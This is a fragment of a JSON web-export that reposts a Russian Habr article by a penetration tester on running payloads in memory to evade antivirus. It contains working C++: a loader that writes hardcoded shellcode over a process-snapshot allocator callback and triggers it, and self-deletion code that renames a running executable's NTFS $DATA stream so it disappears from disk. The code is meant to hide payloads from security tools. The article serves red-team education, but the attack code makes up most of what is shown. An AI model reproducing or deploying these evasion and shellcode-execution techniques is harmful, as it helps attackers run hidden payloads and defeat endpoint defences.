\u0448\u0435\u043b\u043b\u043a\u043e\u0434: <\/p>\n<pre><code class=\"cpp\">#include &lt;Windows.h> #include &lt;processsnapshot.h> #include &lt;iostream>   \/\/ Function To Rewrite VOID* CALLBACK AllocRoutine(void* Context, DWORD Size) { MessageBox(NULL, L\"AllocRoutine function is called!\", L\"Information\", MB_ICONINFORMATION); return (HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size)); }   int main() { DWORD ProcessId = GetCurrentProcessId(); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); if (hProcess == NULL) {     std::cerr &lt;&lt; \"Could not open the process.\" &lt;&lt; std::endl;     return 1; }   HPSS SnapshotHandle = NULL; PSS_CAPTURE_FLAGS CaptureFlags = PSS_CAPTURE_NONE; DWORD SnapshotFlags = 0; DWORD Result = PssCaptureSnapshot(hProcess, CaptureFlags, SnapshotFlags, &amp;SnapshotHandle); if (Result != ERROR_SUCCESS) {     std::cerr &lt;&lt; \"Could not create the process snapshot. Error: \" &lt;&lt; Result &lt;&lt; std::endl;     return 1; }   PSS_ALLOCATOR Allocator;       Allocator.AllocRoutine = AllocRoutine;     Allocator.FreeRoutine = NULL; unsigned char shellcode[] = \"\\x48\\x31\\xff\\x48\\xf7\\xe7\\x65\\x48\\x8b\\x58\\x60\\x48\\x8b\\x5b\\x18\\x48\\x8b\\x5b\\x20\\x48\\x8b\\x1b\\x48\\x8b\\x1b\\x48\\x8b\\x5b\\x20\\x49\\x89\\xd8\\x8b\"         \"\\x5b\\x3c\\x4c\\x01\\xc3\\x48\\x31\\xc9\\x66\\x81\\xc1\\xff\\x88\\x48\\xc1\\xe9\\x08\\x8b\\x14\\x0b\\x4c\\x01\\xc2\\x4d\\x31\\xd2\\x44\\x8b\\x52\\x1c\\x4d\\x01\\xc2\"         \"\\x4d\\x31\\xdb\\x44\\x8b\\x5a\\x20\\x4d\\x01\\xc3\\x4d\\x31\\xe4\\x44\\x8b\\x62\\x24\\x4d\\x01\\xc4\\xeb\\x32\\x5b\\x59\\x48\\x31\\xc0\\x48\\x89\\xe2\\x51\\x48\\x8b\"         \"\\x0c\\x24\\x48\\x31\\xff\\x41\\x8b\\x3c\\x83\\x4c\\x01\\xc7\\x48\\x89\\xd6\\xf3\\xa6\\x74\\x05\\x48\\xff\\xc0\\xeb\\xe6\\x59\\x66\\x41\\x8b\\x04\\x44\\x41\\x8b\\x04\"         \"\\x82\\x4c\\x01\\xc0\\x53\\xc3\\x48\\x31\\xc9\\x80\\xc1\\x07\\x48\\xb8\\x0f\\xa8\\x96\\x91\\xba\\x87\\x9a\\x9c\\x48\\xf7\\xd0\\x48\\xc1\\xe8\\x08\\x50\\x51\\xe8\\xb0\"         \"\\xff\\xff\\xff\\x49\\x89\\xc6\\x48\\x31\\xc9\\x48\\xf7\\xe1\\x50\\x48\\xb8\\x9c\\x9e\\x93\\x9c\\xd1\\x9a\\x87\\x9a\\x48\\xf7\\xd0\\x50\\x48\\x89\\xe1\\x48\\xff\\xc2\"         \"\\x48\\x83\\xec\\x20\\x41\\xff\\xd6,\\x00\"; DWORD old;     VirtualProtect(AllocRoutine, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &amp;old);     memcpy(AllocRoutine, shellcode, sizeof(shellcode)); HPSSWALK WalkMarkerHandle; Result = PssWalkMarkerCreate(&amp;Allocator, &amp;WalkMarkerHandle); if (Result != ERROR_SUCCESS) {     std::cerr &lt;&lt; \"Could not create the walk marker. Error: \" &lt;&lt; Result &lt;&lt; std::endl;     return 1; }     PssFreeSnapshot(GetCurrentProcess(), SnapshotHandle);     CloseHandle(hProcess); return 0; }<\/code><\/pre>\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u0438\u043c, \u043f\u043e\u043b\u0451\u0442 \u0444\u0430\u043d\u0442\u0430\u0437\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043b\u044e\u0431\u044b\u043c, \u043e\u043d \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d \u043d\u0438\u043a\u0435\u043c \u0438 \u043d\u0438\u0447\u0435\u043c. \u0421\u0430\u043c\u043e\u0435 \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u2014 \u043d\u0435 \u0431\u043e\u044f\u0442\u044c\u0441\u044f \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438 \u0442\u0432\u043e\u0440\u0438\u0442\u044c. <\/p>\n<h2>\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 <\/h2>\n<p>\u041f\u043e\u0434\u044b\u0442\u043e\u0436\u0438\u0432\u0430\u044f, \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u044b\u0432\u043e\u0434, \u0447\u0442\u043e \u043c\u0435\u0442\u043e\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u043e\u0431\u044b\u0447\u043d\u043e \u0441\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043b\u0438\u0431\u043e \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0435\u0439 \u044f\u0437\u044b\u043a\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u0434\u0438\u0441\u043a\u043e\u043c, \u043b\u0438\u0431\u043e \u0436\u0435 \u043a \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0438\u0437 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u0421 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b, \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0432 \u044f\u0432\u043d\u043e\u043c \u0432\u0438\u0434\u0435 \u2014 \u043f\u043b\u043e\u0445\u0430\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0432\u0441\u0435\u043c\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438, \u043d\u043e \u043e\u0431 \u044d\u0442\u043e\u043c \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0440\u0430\u0437. <\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/767078\/\"> https:\/\/habr.com\/ru\/articles\/767078\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u0440\u0438\u0432\u0435\u0442, \u0425\u0430\u0431\u0440! \u041c\u0435\u043d\u044f \u0437\u043e\u0432\u0443\u0442 \u041c\u0438\u0448\u0430, \u044f \u0440\u0430\u0431\u043e\u0442\u0430\u044e \u0432 \u041c\u0422\u0421 RED \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0430.<\/p>\n<p>\u0412 \u0445\u043e\u0434\u0435 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u043e\u0432 \u043e\u0447\u0435\u043d\u044c \u0447\u0430\u0441\u0442\u043e \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0431\u043e\u0440\u043e\u0442\u044c\u0441\u044f \u0441 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u0430\u043c\u0438. \u0423\u0432\u044b, \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043d\u0438\u043c\u0430\u0442\u044c \u043c\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0442\u043e \u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u043e \u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0435\u0441\u0442\u044c \u043f\u0430\u0440\u043e\u0447\u043a\u0430 \u043a\u0440\u0443\u0442\u044b\u0445 \u0442\u0440\u044e\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442 \u043d\u0430 \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u0431\u044b\u0442\u044c \u043f\u0440\u043e \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441 \u043d\u0430 \u0445\u043e\u0441\u0442\u0435, \u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0438\u0445 &#8212; \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438.<\/p>\n<p>\u041d\u0438 \u0434\u043b\u044f \u043a\u043e\u0433\u043e \u043d\u0435 \u0441\u0435\u043a\u0440\u0435\u0442, \u0447\u0442\u043e \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u043e\u0432 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0433\u043e\u0442\u043e\u0432\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u0431\u0443\u0434\u044c \u0442\u043e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0434\u043b\u044f Cobalt Strike, \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043e\u0442 \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438\u043b\u0438 \u0434\u0430\u0436\u0435 \u0434\u0430\u043c\u043f\u0438\u043b\u043a\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 lsass.exe. \u0427\u0442\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u0442 \u0432\u0441\u0435 \u044d\u0442\u0438 \u0444\u0430\u0439\u043b\u044b? \u0422\u043e, \u0447\u0442\u043e \u0432\u0441\u0435 \u043e\u043d\u0438 \u0434\u0430\u0432\u043d\u044b\u043c-\u0434\u0430\u0432\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u0430\u043c, \u0438 \u043b\u044e\u0431\u043e\u0439 \u0438\u0437 \u043d\u0438\u0445\u00a0 \u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u0438\u0442 \u0431\u0435\u0437 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0444\u0430\u043a\u0442 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430 \u043d\u0430 \u0434\u0438\u0441\u043a\u0435. <\/p>\n<p>\u0417\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043c\u043e\u043c\u0435\u043d\u0442? \u0424\u0430\u043a\u0442 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430 <strong>\u043d\u0430 \u0434\u0438\u0441\u043a\u0435<\/strong>. \u041d\u0435\u0443\u0436\u0435\u043b\u0438 \u0435\u0441\u043b\u0438 \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u043d\u0430\u0443\u0447\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438, \u0442\u043e \u043f\u0440\u043e\u0439\u0434\u0451\u043c \u043d\u0438\u0436\u0435 \u0440\u0430\u0434\u0430\u0440\u043e\u0432 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u0432? \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c\u0441\u044f \u0441 \u0442\u0435\u0445\u043d\u0438\u043a\u0430\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0443\u0432\u0438\u0434\u0438\u043c, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0436\u0438\u0437\u043d\u044c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0430\u043d\u0435\u0442 \u043f\u0440\u043e\u0449\u0435, \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043d\u0430\u0443\u0447\u0430\u0442\u0441\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c, \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044f \u0434\u0438\u0441\u043a. <\/p>\n<h2>\u041e\u0441\u043d\u043e\u0432\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 <\/h2>\n<figure class=\"full-width\"><\/figure>\n<p>\u041d\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0439\u0442\u0435\u0441\u044c \u043d\u0430 \u0445\u0430\u0440\u0434\u043a\u043e\u0440, \u044f \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u044e\u0441\u044c \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0432\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u0438 \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u043c \u044f\u0437\u044b\u043a\u043e\u043c. <\/p>\n<p>\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u2014 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435. \u042f \u0431\u044b \u0434\u0430\u0436\u0435 \u0441\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0432\u0441\u0435\u0308 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0430\u043a \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f. \u041f\u043e \u0441\u0443\u0442\u0438 \u0434\u0438\u0441\u043a \u2014 \u043b\u0438\u0448\u044c \u043f\u043b\u0430\u0446\u0434\u0430\u0440\u043c, \u0441\u043a\u043b\u0430\u0434, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0442\u044f\u043d\u0443\u0442\u0441\u044f \u043d\u0443\u0436\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0430 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043f\u0440\u043e\u0435\u0446\u0438\u0440\u0443\u0435\u0442 \u0438\u0445 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u0447\u043a\u0443 \u0432\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u041d\u0438\u0447\u0442\u043e \u043d\u0435 \u043c\u0435\u0448\u0430\u0435\u0442 \u043d\u0430\u043c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0440\u0443\u0447\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0431\u0430\u0439\u0442\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c. <\/p>\n<p>\u0418\u0442\u0430\u043a, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0434\u0438\u0441\u043a \u043d\u0430\u043c \u043a\u0430\u043a \u0442\u0430\u043a\u043e\u0432\u043e\u0439 \u043d\u0435 \u043d\u0443\u0436\u0435\u043d \u2014 \u0432\u0441\u0451 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0431\u0435\u0437 \u043d\u0435\u0433\u043e, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u041f\u0443\u0441\u0442\u044c \u0443 \u043d\u0430\u0441 \u0431\u0443\u0434\u0435\u0442 \u0444\u0430\u0439\u043b example.exe, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0435\u0441\u0442\u044c \u043d\u0430 \u0434\u0438\u0441\u043a\u0435, \u0430 \u043f\u043e\u0442\u043e\u043c \u0435\u0433\u043e \u043d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442: \u043e\u043d \u043f\u0440\u043e\u043f\u0430\u0434\u0451\u0442 \u0438 \u043e\u0441\u0442\u0430\u043d\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0432 \u041e\u0417\u0423. \u0422\u0430\u043a\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f Self-Deletion. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b, \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0435\u0439\u043b\u043e\u0430\u0434, \u0430 \u0432 \u043d\u0451\u043c \u043f\u0440\u0435\u0434\u0443\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u044b\u0437\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <a href=\"https:\/\/learn.microsoft.com\/ru-ru\/windows\/win32\/api\/winbase\/nf-winbase-deletefile\">DeleteFIle()<\/a>, \u043d\u043e \u043d\u0435 \u0442\u0443\u0442-\u0442\u043e \u0431\u044b\u043b\u043e. \u041f\u0440\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0441\u0430\u043c\u043e\u0433\u043e \u0441\u0435\u0431\u044f \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043e\u0448\u0438\u0431\u043a\u0443 <code>0x5 ERROR_ACCESS_DENIED<\/code>. <\/p>\n<p>\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b NTFS, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Windows. \u0412 \u043d\u0435\u0439 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u043c\u043e\u0436\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u043e\u0442\u043e\u043a $DATA. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u043f\u0430\u0434\u0451\u0442 \u044d\u0442\u043e\u0442 \u043f\u043e\u0442\u043e\u043a, \u0442\u043e \u0444\u0430\u0439\u043b \u0438\u0441\u0447\u0435\u0437\u043d\u0435\u0442, \u0435\u0433\u043e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c. <\/p>\n<p>\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043f\u043e\u0442\u043e\u043a \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043d\u0435\u043b\u044c\u0437\u044f, \u043d\u043e \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a \u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u0442 \u043a \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0447\u0442\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438, \u043a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0435\u0433\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u041d\u0435 \u0431\u0443\u0434\u0435\u043c \u043e\u0441\u043e\u0431\u043e \u0443\u0433\u043b\u0443\u0431\u043b\u044f\u0442\u044c\u0441\u044f \u0432 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438. \u041e\u0442\u043c\u0435\u0447\u0443 \u043b\u0438\u0448\u044c, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0442\u043e\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0443\u0434\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/fileapi\/nf-fileapi-setfileinformationbyhandle\">SetFileInformationByHandle()<\/a> \u0441 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 FileInformationClass \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/minwinbase\/ne-minwinbase-file_info_by_handle_class\">FileRenameInfo<\/a>, \u0430 \u0437\u0430\u0442\u0435\u043c FileDispositionInfo. <\/p>\n<details class=\"spoiler\">\n<summary>\u041a\u043e\u0434<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"cpp\">#include &lt;Windows.h> #include &lt;iostream> #define NEW_STREAM L\":HABRAHABR\"    BOOL DeleteSelf() {               WCHAR                   szPath[MAX_PATH * 2] = { 0 };             FILE_DISPOSITION_INFO   Delete = { 0 };             HANDLE                  hFile = INVALID_HANDLE_VALUE;             PFILE_RENAME_INFO       pRename = NULL;             const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;             SIZE_T                  sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);               pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);             if (!pRename) {                            printf(\"[!] HeapAlloc Failed With Error : %d \\n\", GetLastError());                            return FALSE;             }                 ZeroMemory(szPath, sizeof(szPath));             ZeroMemory(&amp;Delete, sizeof(FILE_DISPOSITION_INFO));               Delete.DeleteFile = TRUE;             pRename->FileNameLength = sizeof(NewStream);             RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));               if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {                            printf(\"[!] GetModuleFileNameW Failed With Error : %d \\n\", GetLastError());                            return FALSE;             }               hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);             if (hFile == INVALID_HANDLE_VALUE) {                            printf(\"[!] CreateFileW [R] Failed With Error : %d \\n\", GetLastError());                            return FALSE;             }               wprintf(L\"[i] Renaming :$DATA to %s  ...\", NEW_STREAM);               if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {                            printf(\"[!] SetFileInformationByHandle [R] Failed With Error : %d \\n\", GetLastError());                            return FALSE;             }             wprintf(L\"[+] DONE \\n\");               CloseHandle(hFile);               hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);             if (hFile == INVALID_HANDLE_VALUE) {                            printf(\"[!] CreateFileW [D] Failed With Error : %d \\n\", GetLastError());                            return FALSE;             }               wprintf(L\"[i] DELETING ...\");               if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &amp;Delete, sizeof(Delete))) {                            printf(\"[!] SetFileInformationByHandle [D] Failed With Error : %d \\n\", GetLastError());                            return FALSE;             }             wprintf(L\"[+] DONE \\n\");               CloseHandle(hFile);               HeapFree(GetProcessHeap(), 0, pRename);               return TRUE; }   int main() {             DeleteSelf();             getchar();             return 0; }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<div class=\"tm-iframe_temp\" data-src=\"https:\/\/embedd.srv.habr.com\/iframe\/6527efee962d8d30c1261840\" data-style=\"\" id=\"6527efee962d8d30c1261840\" 